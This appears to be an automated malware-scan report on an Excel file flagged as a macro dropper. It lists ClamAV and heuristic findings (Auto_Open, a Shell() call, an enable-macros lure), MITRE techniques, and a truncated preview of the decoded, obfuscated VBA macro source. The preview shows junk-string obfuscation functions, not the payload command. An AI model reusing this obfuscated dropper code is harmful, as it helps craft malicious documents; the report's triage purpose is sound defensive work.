MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate Malicious Code
This Excel document contains a VBA macro that is automatically executed upon opening, indicated by the Auto_Open heuristic. The macro utilizes the Shell() function, a critical finding, suggesting it attempts to execute a command. While the specific command is obfuscated, the presence of a VBA macro and the Shell() call strongly indicate a dropper functionality, likely downloading and executing a secondary payload. The ClamAV detection further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6056771-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6056771-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33965 bytes |
SHA-256: 237221bdc459024833148b18839d6f1c9946f0ad7dba7ee4d90f559569426238 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 95 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Function o(vacjywu, doxwepti)
nazanf = "21291"
ecare = 4
rojqa = vacjywu(ecare)
ewivkax = "avxesiwpunjachyfezokoqumqekvolexoqumusvoxybqocevokyrxicanpuhoqnupkemnydazqecpynohrymqifalqankabbexexmifufotbybpisjekukajegurzidbibkyzernyxsysibrukmuhxuvwaxcysmokhiztelatpowpiljuguxnibulmusuvpig"
o = rojqa
End Function
Function y(fakust, yfmypn)
cagixfo = "10336"
utbyd = 3
utnadna = fakust(utbyd)
yjwedo = "wxolimonukrarjejqodreqcisvygirxohfuwanlebehvigycuhexaplurogalgyzfonupuwaxymofwojvygaxalidtiwhygyrmojcownyravejacnotmaktohmadyrukufamforcinowisowbujlitg"
y = utnadna
End Function
Function ub(huke, pablypsa)
gsiwomju = "12341"
dutwozze = 0
cricy = huke(dutwozze)
mpydbim = "adyqcehadqyqdopfoholcucyxkergevkigburkynecrydxuwfyvdazmarciswoltulriqgekdihigxyqxirerqidypitretocahafryvpuglyptyfowzaqlunzyfnikzogxumputmolqebypzufewokijh"
ub = cricy
End Function
Function exg7(ebuqjuws, amylte)
mithubse = "78591"
sdocsu = 2
ulijyz = ebuqjuws(sdocsu)
ilate = "ubejwujgonenbamivtynhyccuxasuzgunipocyworaqyroqqajopectyhhulophyxtikhehovydwasrakhicbezfutebgypvuxotexegujujrydovutipampyvacotalt"
exg7 = ulijyz
End Function
Function zi3(ziwefe, omefe)
ocugatv = "23147"
kkedwycw = 3
tenjocsa = ziwefe(kkedwycw)
uxubo = "axkipecexozjemmysuwvogofahpyrgytlotiggubryghaqhynicazolefolsotiqoskagmotquqebmybutlashatyxwykobeqoqyvzosahulcosiqydcopepvyrydopyhhyprejfegyvbowinhywzevnajqijtu"
zi3 = tenjocsa
End Function
Function jv(zzumkykzu, ifaryr)
dymwosy = "15696"
woveto = 0
qogwo = zzumkykzu(woveto)
nhofyjd = "unlipomadecjeguvytowledtagrefhynywacyxwanwocgajrawofosipmelvoxevvubsulujimbakywcixavhiccovigfyrmangazyleluratfiztizeqvujysygepuviredaxoxwerzyxfulxanxykeqosyhiduvtirpobmubpuz"
jv = qogwo
End Function
Function no9(otwemh, gapfufy)
hrudcef = "84505"
asroxa = 0
ikasa = otwemh(asroxa)
dtomzesv = "xiszyvuwvytyhbubgutopamofnojhadyxugybywalanhabervywdamzofmujalapqardysnumsunhobutzycluzlodtumedsohdahfoxmynhohycdogbaducbyvajatyjelnopulxubytyqatovysyzimcaturishafjakyssomne"
no9 = ikasa
End Function
Function bba(yvofwa, icah)
ogwulxonj = "39575"
ksyquj = 4
pama = yvofwa(ksyquj)
eryzcuf = "favxusmadrabahifagylvazdecbinqihnapizqusajlufulnobiqtohqecvupxixsadgirbeboripqenkobemufyjcethejvyfqoxkizogybzyvhahunokquhhiquqivhohmutucoqgewbohyxundolarotizlibnykyngodjumhajjojjejuxuwut"
bba = pama
End Function
Function eb6(hpirsejt, rkerxem)
yrulbib = "14871"
ufojg = 1
somcidju = hpirsejt(ufojg)
onulott = "uxgefqohbymzufesadoxikdekipamhyxiqixwejilkasebohfuqabylobnupahnanytxefijakawotpexvocdurumoxuccymajodeqahukockuzcixnysjyrotulyrucjesyrzaworipmeqybl"
eb6 = somcidju
End Function
Function an(cytafjo, enpawdegl)
eblyrje = "49763"
ukmoq = 3
hhoha = cytafjo(ukmoq)
ticupgo = "uszylampuhasuvovukecivyvyhasovvapulihdykkuwnujuqukhodosidvozikygresoffinritwahudjytyqujzupisuhibeduxkukukecxyqabhihqerpyjmudxazlamco"
an = hhoha
End Function
Function nve2(uqvuqm, afrys)
yzothi = "43066"
yngikc = 1
umhav = uqvuqm(yngikc)
ukhyfjyt = "rtizogoclavypreqfacjuduwdetnaleproqazadcukomekehaklegtehwyvyxadkowugandiprimropnemimiwysretwijkivhiweliwykkejybatbijveqidjatirk"
nve2 = umhav
End Function
Function pzo(enqyxusk, ibyt)
ozixhirh = "85486"
anevuj = 1
iqazmy = enqyxusk(anevuj)
isedqyb = "yzupacukabkuthupofpupaqazpyrubtifaxlozefykmycybojevefjyfytjulyhhitidimtyqatidoxiqmykgylqesrelacjythymyznedqakpodjenogsypopamvycusyciqqabnisfisbicexfuzwuxtilzozanwyvqyxarylxoqilyvvitojnoj"
pzo = iqazmy
End Function
Function
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.